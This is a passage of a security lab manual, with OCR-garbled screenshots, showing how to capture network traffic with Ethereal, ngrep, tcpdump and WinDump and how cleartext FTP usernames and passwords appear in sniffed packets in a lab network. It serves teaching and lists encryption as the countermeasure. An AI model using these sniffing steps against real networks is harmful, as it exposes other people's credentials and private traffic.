Ethereal: 0	Capture fro	m eth0	- 5	×	tics	Help										
Captured Par	ckets			-	. 128				-	(CE		0	0	0	1000	5
Total	203	% of total		p	153	4		• △	<u>×</u>			Con la	al.	al		8
SCTP	0	The second second	0.0				~	de Exe	nessio	n. 1	h, Clea	1 41	Viga			
TCP	64	1000	31.5				-					1 4 4				
UDP	8	1017	3.9	s												
ICMP	0		0.0													
ARP	131	-	64.5	16												
OSPF	0		0.0	N												
GRE	0	17	0.0	6												
NetBIOS	0		0.0	N												
IPX	0	1	0.0	N												
VINES	0		0.0	Ne.												
Other	0		0.0	N6												
Kunning	00:01:38	Stop														
							۲									
th0: «live cap	ture in p	<capturing></capturing>														
60	P		8	A	-							0		т	ae Nov 9:45 P	M
		-					-		_	_						ō.

The captured data screen appears. The items listed are as follows:

- The Packets are numbered (No.).
- *Time* the packet was captured after the Start button was clicked.
- The *Source* of the packet.
- The *Destination* of the packet.
- The *Protocol* of the captured packet.
- The purpose (*Info*) of the packet.

The small gray area below the packets can be expanded by dragging the bar up and down. This area identifies the technical specifics of each packet.

The bottom section of the screen shows the data of the packets captured. This is an important area for viewing the packets.

🔊 Red	Hat Linux - VM	ware Workstation					_ 🗆 🗙
File	Edit View VM	1 Team Windows	Help				
_					_		
	ne 📑 Vvindo		🔒 🔒 Red Hat Linux		Server 🛛 🚡 ۱	Mindows 2000 Server	×
¥ (U	ntitled) - Ethe	real					/////// X
<u>F</u> ile	<u>E</u> dit <u>V</u> iew	<u>G</u> o <u>C</u> apture	<u>A</u> nalyze <u>S</u> tatistics	<u>H</u> elp			
	i o o		× 🗞 🖨 🖸	ء 🖉 ک			2, 9, 🖭 🖬
Ei	lter:			~	🔶 <u>E</u> xpres	sion ≽ <u>C</u> lear 🛷 <u>A</u> p	ply
No	Time	Source	Destination	P	Protocol Info	i i i i i i i i i i i i i i i i i i i	•
	1.0.000000) home	ff.ff.ff	•ff•ff•ff /	APP life	hac 172 16 1 252	Toll 172 16
	2 0 089210) todd	172 16 2	55 255 N	NRNS Nam	e query NR TOP10AD	AY0<1c>
I	3 0.089709	home	ff:ff:ff	:ff:ff:ff A	ARP Who	has 172.16.1.44?	Tell 172.16
I	4 0.731774	todd	172.16.2	55.255 N	NBNS Nam	e query NB TOP10AD	AYO<1c>
I	5 0.883734	home	ff:ff:ff	:ff:ff:ff /	ARP Who	has 172.16.1.45?	Tell 172.16
I	6 0.883789	00:0c:29:4	e:1e:cd home	A	ARP 172	2.16.1.45 is at 00:	Oc:29:4e:1e:
I	7 1.617179	todd	172.16.2	55.255 N	NBNS Nam	e query NB TOP10AD	AYO<1c>
I	8 2.986378	home	ff:ff:ff	:ff:ff:ff A	ARP Who	has 70.255.105.23	7 Tell 172.
I	9 3.676573	donna donna	172.16.2	55.255 N	NBNS Nam	e query NB TOP10AD	AYO<1c>
1 0	10 4.427432	home	ff:ff:ff	:ff:ff:ff #	ARP Who	has 70.255.105.23	? Tell 172.
	11 4.706718	donna donna	172.16.2	55.255 N	NBNS Nam	e query NB TOP10AD	AYO<1c>
1 3	12 5.791528	donna donna	172.16.2	55.255 N	NBNS Nam	ne query NB TOP10AD	AYO<1c>
	13 5.794412	home	ff:ff:ff	:ff:ff:ff /	ARP Who	has 172.16.1.33?	Tell 172.16
<u> </u>	14 5.796198	ho he	ff:ff:ff	:ff:ff:ff /	ARP Who	has 172.16.1.36?	Tell 172.16 ¥
<			111				>
▷ Fra	ame 1 (60 b	vtes on wire.	60 bytes captured)			*
▷ Etł	ernet II,	Src: home (00:	12:88:42:34:c9),	Dst: ff:ff:	ff:ff:ff:f	ff (ff:ff:ff:ff:ff:ff	ff) 🗸
0000	ff ff ff	ff ff ff 00 12	88 42 34 c9 08	06 00 01 .		B4	*
0010	08 00 06	04 00 01 00 12	88 42 34 c9 ac 3	LO 00 01 .		B4	4
0020	ff ff ff	ff ff ff ac 10	01 23 00 00 00	. 00 00 00		#	2 C
0030	00 00 00	00 00 00 00 00	00 00 00 00				*
File: "	/tmp/etherXX>	(Xr 🖗 P: 227 D: 227	M: 0 Drops: 0				
0		988	88		-		Tue Nov 01 9:46 PM

Click on the **Protocol** column to sort the results based on the packets captured.

🗐 Red Hat Linux - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🚡 Home 🚡 Windows 2000 Professional 🔂 Red Hat Linux 👘 Red Hat Linux 8 Server 🚯 Windows 2000 Server	×
V (Untitled) - Ethereal	//////////////////////////////////////
<u>File Edit View Go Capture Analyze Statistics H</u> elp	
	Q, Q, 🖭 🗃
Eilter:	<u>Apply</u>
No. Time Source Destination Protocol Info	•
1.0.000000 home ff:ff:ff:ff:ff:ff ARP & Who has 172.16.1.35	2 Tell 172.16
3 0.089709 home ff:ff:ff:ff:ff ARP Who has 172.16.1.445	? Tell 172.16
5 0.883734 home ff:ff:ff:ff:ff ARP Who has 172.16.1.453	? Tell 172.16
6 0.883789 00:0c:29:4e:1e:cd home ARP 172.16.1.45 is at 00	D:0c:29:4e:1e:
8 2.986378 home ff:ff:ff:ff:ff ARP Who has 70.255.105.2	23? Tell 172.
10 4.427432 home ff:ff:ff:ff:ff ARP Who has 70.255.105.2	23? Tell 172.:
13 5.794412 home ff:ff:ff:ff:ff ARP Who has 172.16.1.33	? Tell 172.16
14 5.796198 home ff:ff:ff:ff:ff ARP Who has 172.16.1.363	? Tell 172.16
15 7.027065 home ff:ff:ff:ff:ff ARP Who has 172.16.1.363	? Tell 172.16
16 8.433437 home ff:ff:ff:ff:ff ARP Who has 192.168.1.13	? Tell 172.16
17 9.531662 home ff:ff:ff:ff:ff ARP Who has 192.168.1.15	? Tell 172.16
18 10.572888 home ff:ff:ff:ff:ff ARP Who has 172.16.1.35	? Tell 172.16
19 10.659244 home ff:ff:ff:ff:ff ARP Who has 172.16.1.343	? Tell 172.16
20 10.669202 home ff:ff:ff:ff:ff ARP Who has 172.16.1.373	7 Tell 172.16
	•
▷ Frame 1 (60 bytes on wire, 60 bytes captured)	*
<pre>b Ethernet II, Src: home (00:12:88:42:34:c9), Dst: ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff</pre>	f:ff)
0000 ff ff ff ff ff ff 00 12 88 42 34 c9 08 06 00 01B4	*
0010 08 00 06 04 00 01 00 12 88 42 34 c9 ac 10 00 01	4
0020 ff ff ff ff ff ff ff ac 10 01 23 00 00 00 00 00 00	
	*
File: "/tmp/etherXXXXr" P: 227 D: 227 M: 0 Drops: 0	
	Tue Nov 01 11:31 PM
,	

Scroll down on the right side of the screen until you see the FTP protocols captured. Click on the first FTP protocol packet listed to highlight it.

👰 Red Hat Linux - ¥Mwa	re Workstation			_ 🗆 ×
File Edit View VM	Team Windows Help			
🛆 Home 📑 Windows	2000 Professional 🛛 🔐 Red	Hat Linux 🛛 🔐 Red Hat Linu	ix 8 Server 🛛 👘 Windows 2000	Server X
💙 (Untitled) - Etherea	J. Marine Mar			_ = ×
File Edit View	Go Capture Analyze	Statistics Help		
En zu en en				
				s & & & m M
Eilter:			✓	lear 🛷 <u>A</u> pply
No. Time	Source	Destination	Protocol. Info	•
61 42 626653	172.16.1.45	home	DNS Standard que	ry PTR 40.1.16.172.in
64 42,727502	home	172.16.1.45	DNS Standard que	ry response PTR win20
68 42.729413	win2000s-v	172.16.1.45	FTP Response: 22	0 win2000s-v Microsof
77 48,010862	172.16.1.45	win2000s-v	FTP Request: USE	R hacksvm
78 48.011610	win2000s-v	172.16.1.45	FTP Response: 33	1 Password required for
92 55.441823	172.16.1.45	win2000s-v	FTP Request: PAS	S MySecretPassword
93 55.442993	win2000s-v	172.16.1.45	FTP Response: 23	0 User hacksym logged
95 55.443194	172.16.1.45	win2000s-v	FTP Request: SYS	т
96 55.443392	win2000s-v	172.16.1.45	FTP Response: 21	5 Windows_NT version
101 58.090742	172.16.1.45	win2000s-v	FTP Request: PAS	v
102 58.091649	win2000s-v	172.16.1.45	FTP Response: 22	7 Entering Passive Mo
107 58.092175	172.16.1.45	win2000s-v	FTP Request: LIS	Т
108 58.093256	win2000s-v	172.16.1.45	FTP Response: 12	5 Data connection alre
115 58.134296	win2000s-v	172.16.1.45	FTP Response: 22	6 Transfer complete. 💌
٢		111		>
▷ Frame 68 (119 b	ytes on wire, 119 h	oytes captured)		*
<		///		•
0000 00 0c 29 4e	1e cd 00 0c 29 a3	e4 40 08 00 45 00)N)@E.	*
0010 00 69 00 a4	40 00 80 06 9f 75	ac 10 01 28 ac 10	.i@u(4
0020 01 2d 00 15	95 f4 85 67 7d e5	31 3d df 9c 80 18	g }.1=	2
0030 fa f0 03 89	00 00 01 01 08 0a	00 00 28 d8 00 2f	(/	
0040 6c 2d 22 22	20 20 77 60 60 25	30 30 30 73 34 76	1 220 wi n2000e v	
File: /tmp/etnerxxxxr	2 P: 227 D: 227 M: 0 Dro	ps: 0		
				Tue Nov 01 11:34 PM
Right-click on the first FTP packet listed and left-click on Follow TCP Stream.

🔊 Red Hat Linux - VMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
A Home 🚡 Windows 2000 Professional 🔐 Red Hat Linux 🚡 Red Hat Linux 8 Server 🚡 Windows 2000 Server	×
(Untitled) - Ethereal	
<u>File Edit View Go Capture Analyze Statistics H</u> elp	
	2, 9, 9, 🖭 🗃
Eilter.	
No. Time Source Destination Protocol. Info	<u>^</u>
61 42.626653 172.16.1.45 home DNS Standard query PT	TR 40.1.16.172.in
64 42.727502 home 172.16.1.45 DNS Standard query re	esponse PTR win20
68 42.729413 win2000s-v 172.16.1.45 FTP Presented 200 via	-v Microsof
77 48.010862 172.16.1.45 win2000s-v FT Mark Packet (toggle)	
78 48.011610 win2000s-v 172.16.1.45 FT Time Reference	required fe
92 55.441823 172.16.1.45 win2000s-v FT	Password
93 55.442993 win2000s-v 172.16.1.45 FT Apply as Filter	▶ksym logged
95 55.443194 172.16.1.45 win2000s-v FT Prepare a Filter	>
96 55.443392 Win2000s-v 172.16.1.45 FT	NT version
101 58.090742 172.16.1.45 Win2000s-V FI Pollow ICP Steam	
102 58.091649 WIN2000S-V 1/2.161.45 FT 23 Decode As	Passive Mor
107 58.092175 172.10.1.45 WIN2000S-V FI 4 Decode risk	nostion alm.
<	>
Show Packet in New Wine	dow
Finance os (115 bytes on wire, 115 bytes captured)	
Fuller Het HI, SIC. WHI20003-V (00.00.23.43.04.40), Dat. 00.00.23.40.10.104 (00.00)	· · · · · · · · · · · · · · · · · · ·
<u>۱</u>	>
0000 00 0c 29 4e 1e cd 00 0c 29 a3 e4 40 08 00 45 00)N)@E.	*
0010 00 69 00 a4 40 00 80 06 9f 75 ac 10 01 28 ac 10 .i.@u(1
0020 01 2d 00 15 95 f4 85 67 7d e5 31 3d df 9c 80 18g }.1=	
0030 fa f0 03 89 00 00 01 01 08 0a 00 00 28 d8 00 2f	
Elle: "/tmn/etherXXXXY," P: 227 D: 227 M: 0 Drops: 0	
	Tue Nov 01 11:43 PM

Ethereal will now place the packets in order of transmission. In this case, because FTP is unencrypted (known as clear text) it becomes apparent why using clear text FTP can become dangerous if an attacker is sniffing your connection.



From the data captured in this example, it is revealed that:

- The FTP server is running Microsoft FTP Service (Version 5.0).
- The username is "hacksym."
- The password is "MySecretPassword."
- The FTP server is running in "Passive Mode."
- *Note: If you close the windows from a *Follow TCP Stream* to return to the main Ethereal window and look in the *Filter* area (in green), you will see the equivalent of the command line to filter out the same results. Using the command line to filter results will save you time.

🕑 Filter: (ip.addr eq 172.16.1.40 and ip.addr eq 172.16.1.45) and (tcp.port 👻

To Install Ethereal on Microsoft Windows:

Older versions of Ethereal require WinPcap to be installed prior to Ethereal. The latest version (0.10.13) actually includes an installer for WinPcap if it is not installed on the computer.

Double-click the Ethereal executable available on the accompanying CD or from the Web site at **http://www.ethereal.com**.

Double-click on the Ethereal-setup icon.



On the Ethereal setup screen click Next.





On the License Agreement screen click OK.

On the component setup (Choose Components) screen click Next.





On the Select Additional Tasks screen click Next.

Accept the default installation directory. Click Next.



Select Install WinPcap 3.1 and Start WinPcap service "NPF" at startup. Click Install.



The WinPcap installation will now begin. Click Next.





On the *License Agreement* screen click **I Agree**.

The WinPcap will complete installing. Click Finish.





The installation of Ethereal will complete. Click Next.

Select Run Ethereal 0.10.13. Click Finish.



The Ethereal application will start.



The Ethereal application functions in the same manner as in Linux at this point. Refer to the first part of this lab for a review of the operation of this application.

*Note: Ethereal is widely used as a packet capturing application and will be referenced throughout the remainder of this book. It is important that you have the basic understanding of Ethereal in order to verify the result of future labs.

Lab 42: Packet Capture — Sniffer

Exploit Data from Network Traffic: Ngrep

Prerequisites: NULL Session

Countermeasures: Encryption, various sniffer detector applications

Description: Ngrep is a network sniffer that currently recognizes IP, Transfer Control Protocol (TCP), User Datagram Protocol (UDP), Internet Control Messenger Protocol (ICMP), Internet Group Management Protocol (IGMP), PPP, Serial Line Interface Protocol (SLIP), FDDI, Token Ring, and NULL interfaces. It also understands Berkley Packet Filter (BPF) logic like other packet-sniffing tools. Remember that all commands in Linux are *case sensitive*.

Procedure: For the Windows version, run from the directory where the executable is located. For Linux, compile and make the application and execute with the syntax of:

For Linux

From the directory containing the compressed files, type **tar –zxvf ngrep-1.40.1.tar.gz**.

The compressed files will uncompress into a new directory named **ngrep**. Change to the new directory by typing **cd ngrep** and pressing **Enter**.

The next step is to compile the application to the specific machine it is installed on. This is done by typing **./configure**.



The ngrep application will now compile to the specific machine it is on.



The last step is to install the application by typing the **make** command.



The ngrep application will install.



To execute, type:

./ngrep



The ngrep application will start. At this point ngrep will capture all traffic to and from the computer it is installed on. To stop the capture hold down the **Ctrl** key and press the **C** key.

*Note: Keep in mind that the traffic you see is completely dependent upon the environment the computer "sniffing" resides in. For example, if the network link you are using is connected to a network hub, you will be able to see all traffic going through that hub to all other computers on that hub. If, however, the network link you are using is connected to a switch, you will only be able to see traffic specifically destined to/from your connection. There is a way to "sniff" traffic on a switch to show all traffic to a specific or every computer on a switch, which will be covered in Chapter 9.



Ngrep also allows for the redirection of the output to be saved to a file for later analysis. This is done with the syntax of:



ngrep >> output.txt

The ngrep application will start. At this point all traffic to and from the computer it is installed on is captured and saved to a file named **output.txt**. To stop the capture hold down the **Ctrl** key and press the **C** key.



To view the contents of the **output.txt** file, type:

cat output.txt



The contents will be displayed for further review. In this case, the output is traffic captured between the computer running ngrep to Google, indicating that this is data from the computer going out to Google's Web site.

*Note: Attackers are looking for more sensitive data than the user's Web use, but keep in mind that an attacker is looking for all unencrypted (plain text) data and it is only a matter of time before some sensitive data (FTP logins, Telnet communications, etc.) is captured by ngrep for analysis, as shown in the Windows example for ngrep.



For Windows

From the directory containing the ngrep application, type:

ngrep



The ngrep application will start. At this point, ngrep will capture all traffic to and from the computer it is installed on.



To stop the capture, hold down the **Ctrl** key and press the **C** key.

Windows 2000 Professional - Phware Workstation	-비스
File Edit View VM Team Windows Help	
🚡 Home 🔐 Windows 2000 Professional 🔐 Red Hat Linux 👔 Red Hat Linux 8 Server 👔 Windows 2000 Server 👔 Windows	4 • ×
C\WINNT\System32\cmd.exe	
Host: www.google.comConnection: Keep-AliveCookie: PREF=ID=348cf575ffe08	
$\begin{bmatrix} 64.233.187.99:80 \\ - > 172.16.1.43:1461 \\ [A] \\ [A$	
Control 200 ok. Cache Control. proace. Concent-Type: text/html.content=E	
C.rqWq.BM9C*W2aB+.f.Bf.PU.8!1.0 .fg9.Ua.k'6P.U'v"7[
gg*^am.dz\$CZD4.8.<(HJi*.K.\$q4B.e.^.(.Wd.wUq.y.L. □L(P.xx41*.E\$D2#"I.>.Czxp.Ut.G.uP39;a.4F@&\$	
My Network HY	
X. >h8 ^ . ?9 ~; .g. G2. A 2 1 ~ A. at y. 8. 0 9 # P>5 n S	
W.NPO.K.ycfM.S	
Recycle Bir N.k	
.t.*Fpe2n1#AGEx"y.v+f"1.1.1tV*B2lz	
Internet .i.::.YQ. J.&Kp. =, .e	
¥5.Xyw.8.r.9.MZ [~] 0	
T 172.16.1.43:1461 -> 64.233.187.99:80 [AP] GET /intl/en/images/logo.gif HITP/1.1Accept: */*Referer: http://www.goo	
gle.com/Hccept=Language: en-usHccept=Encoding: g21p, deflatelf=nodifi ed-Since: Mon, 25 Apr 2005 21:06:18 GMIUser-Agent: Mozilla/4.0 (compatibl e: MSIE 5 01: Uindous MT 5 0) Host: unu google com Consections Keen-Blue	
H LanSpy T 64.233.187.99:80 → 172.16.1.43:1461 [AP]	
HTTP/1.1 304 Not ModifiedContent-Type: text/htmlServer: GWS/2.1Conten t-Length: 0Date: Sat, 12 Nov 2005 01:18:57 GMT	
74 received, 0 dropped	
C:\Downloads\ngrep\ngrep=1.44>	_
📲 Start 🛛 🖉 💭 🗋 C:\DownloadsIngrepIngr 🔤 C:\WINNT\System32\ 🖉 Google - Microsoft Intern 🛛 🕀 🗐 🕮	7:16 PM

Ngrep also allows for the redirection of the output to be saved to a file for later analysis. This is done with the syntax of:

ngrep >> output.txt



Ngrep will now start capturing all data to and from the computer it is running on and save it to a file named **output.txt**.

🔊 Windows 2000 Professional - VMware Workstation	<u>- 0 ×</u>
File Edit View VM Team Windows Help	
🟫 Home 📑 Windows 2000 Professional 🚓 Red Hat Linux 👘 Red Hat Linux 8 Server 📑 Windows 2000 Server 👘 Windows	4 > x
C:\WINNT\System32\cmd.exe - ngrep	
My Documen C:\Downloads\ngrep\ngrep=1.44>ngrep >> output.txt	
NGrep for Windows v1.44 (6/30/05) Original version (WinPCap is required) : http://ngrep.sourceforge.net This version (works without WinPCap) : http://packetstuff.com Compiled with Packet Sniffer SDK v2.3 : http://microolap.com/pssdk	
My Compute	
My Network Places	
Recycle Bin	
e	
Internet Explorer	
WnZp	
Largy	
الم	7:17 PM

To stop the capture, hold down the **Ctrl** key and press the **C** key.



By opening the **output.txt** file for analysis, it was determined that the user logged into an FTP server. As FTP data is sent unencrypted (plain text), ngrep easily captured the username/password. In this example:

- The username is *hacker*.
- The password is *backtheplanet*.



- *Note: Attackers are looking for any unencrypted (plain text) data that flows along the network. Some of the items of interest include:
 - Usernames
 - Passwords
 - E-mails
 - IP addresses
 - Media Access Control (MAC) addresses
 - Router IP addresses

Lab 43: Packet Capture — Sniffer

Exploit Data from Network Traffic: Tcpdump

Prerequisites: NULL Session

Countermeasures: Encryption, various sniffer detector applications

- **Description:** The **Tcpdump** command captures packets as they traverse the network. If run with the $1/N \mathbf{w}$ flag, the data is saved to a file for later analysis. If run with the $1/N \mathbf{r}$ flag, Tcpdump will read from a saved packet file rather than read packets from a network interface. Only packets that match the options will be processed by **Tcpdump**. Remember that all Linux commands are *case sensitive*.
- **Procedure:** Compile, make, and install the application and run on the network with the syntax of:

tcpdump <options>

From the directory containing the compressed files type **tar** –**zxvf tcpdump-3.9.3.tar.gz**.

The files will uncompress into a new directory named tcpdump-3.9.4.

Change to the new directory by typing **cd tcpdump-3.9.4** and pressing **Enter**.

As with most Linux applications, Tcpdump must be compiled to the specific machine it is installed on. In this example this is done by typing **./configure**.



The Tcpdump application will configure to the specific machine it is on.



The next step is to make the executable by typing **make** and pressing **Enter**.



The make command will execute.

🔊 Red Hat Linux - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
📩 Home 😰 Windows 2000 Professional 📴 Red Hat Linux 👔 Red Hat Linux 8 Server 😰 Windows 2000 Server 👔 Windo	ws 4 🕨 🗙
▼ root@localhost:~/tools/tcpdump/tcpdump-3.9.4	
<u>File Edit View Terminal Go H</u> elp	
sed)) -11/usr//include -1./missing -0 dinames.0 -c ./missing/dinames.c	
sed))" -II/usr//include -I./missing -c./pcap_dump_ftell.c	
gcc -O2 -DHAVE_CONFIG_H -I/usr//include -I./missing -D_U_="attribute_((unu	
sed))" -II/usr//include -I./missing -L/usr//lib -o tcpdump addrtoname.o cpa	
ck.o gmpls.o oui.o gmt2local.o ipproto.o nlpid.o l2vpn.o machdep.o parsenfsfh.o	
print-802_11.0 print-ap1394.0 print-ah.0 print-arcnet.0 print-aodv.0 print-arp.0	
int_bootn o print_cdn o print_chdlc o print_cin o print_cinfn o print_dccn o print	
t-decnet.o print-domain.o print-dymrp.o print-enc.o print-egp.o print-eap.o print	
t-eigrp.o print-esp.o print-ether.o print-fddi.o print-fr.o print-gre.o print-hs	
rp.o print-icmp.o print-igmp.o print-igrp.o print-ip.o print-ipcomp.o print-ipfc	
.o print-ipx.o print-isakmp.o print-isoclns.o print-juniper.o print-krb.o print-	
12tp.o print-lane.o print-ldp.o print-llc.o print-lmp.o print-lspping.o print-lw	
res.o print-mobile.o print-mpis.o print-msdp.o print-nis.o print-ntp.o print-nul	
print-pptp.o print-radius.o print-raw.o print-rip.o print-ppp.o print-pppet.o	
nt-sctp.o print-sip.o print-sl.o print-sll.o print-slow.o print-snmp.o print-stp	
.o print-sunatm.o print-sunrpc.o print-symantec.o print-syslog.o print-tcp.o pri	
nt-telnet.o print-tftp.o print-timed.o print-token.o print-udp.o print-vjc.o pri	
nt-vrrp.o print-wb.o print-zephyr.o setsignal.o tcpdump.o util.o version.o print	
-smb.o smbutil.o stricat.o stricpy.o datalinks.o dinames.o pcap_dump_ftell.o -1	
[root@localhost_tcndum=3_9_4]#	
	Fri Nov 11 10:02 PM

That last step is to install the executable by typing **make install** and pressing **Enter**.



The make install command will execute.



To execute Tcpdump in its most basic form, simply type:

./tcpdump



Many sniffers have the ability to "catch all" (or almost all) traffic by default. Tcpdump is no different.

👰 Red Hat Linux - YMware Workstation	_ 🗆 🗙
File Edit View VM Team Windows Help	
A Hone 💽 Windows 2000 Professional 🔗 Red Hat Linux 🗿 Red Hat Linux 8 Server 💿 Windows 2000 Server 📑 Windows	
▼ root@localhost:~/tools/tcpdump/3.9.4	
Eile Edit View Terminal Go Help	
23:04:15.559840 arp who-has 172.16.1.38 (Broadcast) tell home	
23:04:16.618330 arp who-has 172.16.1.39 (Broadcast) tell home	
23:04:17.637709 arp who-has 172.16.1.39 (Broadcast) tell home	
23:04:18.664992 arp who-has win2000s-v (Broadcast) tell home	
23:04:18.664996 arp reply win2000s-v is-at 00:0c:29:a3:e4:40 (oui Unknown)	
23:04:18.766771 arp who-has 172.16.1.41 (Broadcast) tell home	
23:04:19.693961 arp who-has 172.16.1.41 (Broadcast) tell home	
23:04:20.717292 arp who-has vpc-xp-v-1 (Broadcast) tell home	
23:04:21.007117 IP 172.16.1.45.bootpc > home.bootps: BOOTP/DHCP, Request [bootp	
23:04:21.734959 arp who-has vpc-xp-v-1 (Broadcast) tell home	
23:04:22.772792 arp who-has win-2000-v-1 (Broadcast) tell home	
23:04:22.772796 arp reply win-2000-v-1 is-at 00:0c:29:b6:40:95 (oui Unknown)	
23:04:22.864325 arp who-has 172.16.1.44 (Broadcast) tell home	
23:04:23.776840 arp who-has 172.16.1.44 (Broadcast) tell home	
23:04:24.764854 arp who-has 172.16.1.45 (Broadcast) tell home	
23:04:24.764885 arp reply 1/2.16.1.45 is-at 00:00:29:40:10:00 (0u1 Unknown)	
23:04:24.9208/2 arp who-nas w2kas (Broadcast) tell nome	
23:04:23.82/120 arb who-has wexas (sroadcast) tell nome	
23:04:28.564518 IP 1/2.16.1.45.22//2 > nome.domain: 605354[[domain]	
23:04:28.5640// 1P nome.domain > 1/2.16.1.45.32//2: 00535[[domain]	
	Nov 11
	:04 PM
Q.E	

Tcpdump requires expressions (options) to instruct it to give you a more granular result of the "sniff." For example, to only see data incoming or outgoing from a specific target:

tcpdump host (Target IP or Hostname)

To only see data incoming to a specific target:

tcpdump dst host (Target IP or Hostname)

To filter by TCP or UDP and only see data incoming to a specific target for only Web or SSL traffic:

tcpdump dst host (Target IP or Hostname) && (tcp dst port 80 or tcp dst port 443)

*Note: Tcpdump is a very good packet sniffer and is commonly used by security professionals to review active firewalls and network traffic. The expressions are plentiful and are covered in Appendix B.

Another useful feature of Tcpdump is the ability to save the output to a log file and the ability to search from the saved file instead of the live data.

To save the output to a file instead of displaying it on the screen use the following syntax:

tcpdump -w <filename>



To read captured Tcpdump files use the following syntax: tcpdump -r <filename>

📓 Red Hat Linux - YMware Workstation	- 🗆 ×
File Edit View VM Team Windows Help	
A Home 🗛 Windows 2000 Professional 🔐 Red Hat Linux 🚓 Red Hat Linux 8 Server 🕋 Windows 2000 Server 👫 Windows	∣∢ ▶ ×
Y root@localhost:~/tools/tcndump/cndump-3.9.4	
Ella Edit Viaw Terminal Co. Help	
11/35 Will 28000 22:54:40 \$60600 TP 64 222 187 00 http > 172 16 1 45 22700 11708 12228(1420) a	
ch 2008 win 1000	
CK 2030 Will 10000 23:53:40 860745 TP 172 16 1 45 32700 \ 64 233 187 99 http://ack/13228 win 31460	
23:54:49.869663 IP 64 233 187 99 http > 172 16 1 45 32709 P 13228:13312(84) ack	
2096 win 10080	
23:54:49.869939 IP 172.16.1.45.32799 > 64.233.187.99.http:	
23:54:50.465307 arp who-has win-2000-v-1 (Broadcast) tell home	
23:54:50.486017 arp reply win-2000-v-1 is-at 00:0c:29:b6:40:95 (oui Unknown)	
23:54:50.587894 IP 172.16.1.45.32799 > 64.233.187.99.http: P 2096:2628(532) ack	
13312 win 31460	
23:54:50.629652 arp who-has 172.16.1.44 (Broadcast) tell home	
23:54:50.661170 IP 64.233.187.99.http > 172.16.1.45.32799: P 13312:14730(1418) a	
ck 2628 win 11200	
23:54:50.664596 IP 172.16.1.45.32799 > 64.233.187.99.http: . ack 14730 win 34320	
23:54:50.665730 IP 64.233.187.99.http > 172.16.1.45.32799: P 14730:14828(98) ack	
2628 win 11200	
23:54:50.665784 IP 172.16.1.45.32799 > 64.233.187.99.http: . ack 14828 win 34320	
23:54:52.017352 arp who-has 172.16.1.44 (Broadcast) tell home	
23:54:53.536793 arp who-has 172.16.1.45 (Broadcast) tell home	
23:54:53.536822 arp reply 172.16.1.45 is-at 00:0c:29:4e:1e:cd (oui Unknown)	
23:54:53.666375 arp who-has w2kas (Broadcast) tell home	
23:54:54.828291 arp who-has w2kas (Broadcast) tell home	
[root@localhost tcpdump-3.9.4]#	
	Nov 11 55 PM
	1

As with output to the screen you have granular control over the results of the file with the use of expressions as above.

***Note:** I highly recommend the use of Tcpdump as it offers a pretty good set of expressions to filter to the desired results and it is a very proven application.

Lab 44: Packet Capture — Sniffer

Exploit Data from Network Traffic: WinDump

Prerequisites: WinPcap

Countermeasures: Encryption, various sniffer detector applications

- **Description:** WinDump is the Windows version of Tcpdump (refer to Lab 43). It is a command-line utility that allows for the capturing of network traffic. The output can be saved to a file for diagnoses and it is able to run under all versions of Windows 95 and up.
- *Note: WinDump 3.6.2 and older require WinPcap 2.3 and WinDump version 3.8 alpha requires WinPcap 3.0.
 - **Procedure:** From the directory containing the WinDump application execute against the target with the syntax of:



windump <options>

The WinDump application will "sniff" the network and capture any data destined to or from the computer "sniffing."

*Note: Keep in mind that the traffic you see is completely dependent upon the environment the computer "sniffing" resides in. For example, if the network link you are using is connected to a network hub. you will be able to see all traffic going through that hub to all other computers on that hub. If, however, the network link you are using is connected to a switch, you will only be able to see traffic specifically destined to your connection. There is a way to "sniff" traffic on a switch to show all traffic to a specific or every computer on a switch, which will be covered in Chapter 9.

👰 Wind	ows 2000 Professional - YMware Workstation	_ 🗆 🗙
File E	lit View VM Team Windows Help	
A Horne	🔐 Windows 2000 Professional 🔐 Red Hat Linux 👔 Red Hat Linux 8 Server 📳 Windows 2000 Server 👔 Windows	4 • ×
<u></u>	C:\WINNT\System32\cmd.exe	
	61 win 64113 (DF) 11:40:27.863265 IP 64.233.187.99.80 > win-2000-v-1.1415: . 5361:6791(1430) ack 1	
My Docur	887 win 8576 11:40:27.864126 IP 64.233.187.99.80 > win-2000-u-1.1415: P 6791:7063(272) ack 18	
	87 win 8576 11:40:27 864182 IP win-2000-w-1 1415 ≥ 64 233 187 99 80: ack 2063 win 64240 (D	
	F) $11:40:27.874651$ IP $\mu_{10}=2000=\mu=1.1415$ > 64.233.187.99.80; P.1887:2272(385) ack 70	
My Comp	ute 63 win 64240 (DF) 11.46.27 930704 JP 64 233 187 99 88 \ uin-2008-u-1 1415. P 7063.7190(127) ack 22	
Se 19	72 win 8576 71 win 8576 11 cm -28, 844992 IP win -29889-w-1 1415 > 64 233 187 99 88° P 2272 2551(279) ack 71	
	90 win 64113 (DF) 11.46-28 807039 IP 64 222 197 99 88 \ uin-2008-u-1 1415 P 7198-8608(1418) act 2	
My Netv	11:40:20:00/750 11 04:23:107:77:00 / Will 2000 / 1:14:5: 1 17:00:000(14:0) ack 2 00:551 win 8576 - 11:40:20 000000 1D (4 222 107 00 00 \ win-2000	
- iace	$\begin{array}{c} 11.40.20.00000011 \\ 11.01.20000011(200000011(20000011(20000011(20000011(20000011(20000011(20000011(20000011(20000011(20000011(20000011(20000011(20000011(20000011(20000011(200000011(200000000$	
3	F) $(4,40,20,40,200,10,) = 2000 - (1,1415) (4,223,107.77.00) = 0.000 0.001 0.001 0.000 0.000 0.0000 0.0000 0.0000 0.000000$	
Recycle	11.40.20.103000 IF WIN-2000-0-1.1415 / 04.233.107.77.00. F 2531.2730(365) ACK 00 Br 91 win 64240 (DF) 11.40.90 123004 JB (4 222 107 00 00) win-30001 1415, B 0001.0010(107)	
	$\begin{array}{c} 11.40.20.132701 \text{ If } 64.233.187.77.607 \text{ win-2000-0-1.1413. } 6871.7016(127) \text{ ack } 27\\ 36 \text{ win } 8576\\ 41.40.90 \text{ 202770 } \text{ If } \text{ win-2000 } 1.1415 \text{ (} 4.232.407.00.006 0.2026.2345(2070) 1.445 $	
(e	11:40:20:2023/2 1r win-2000-0-1.1413 / 04.233.107.77.00. r 2730.3213(277) dCK 70 18 win 64113 (DF)	
Intern	11:40:28.256026 1P 64.233.187.99.80 > win-2000-0-1.1415: . 9018:10448(1430) ack	
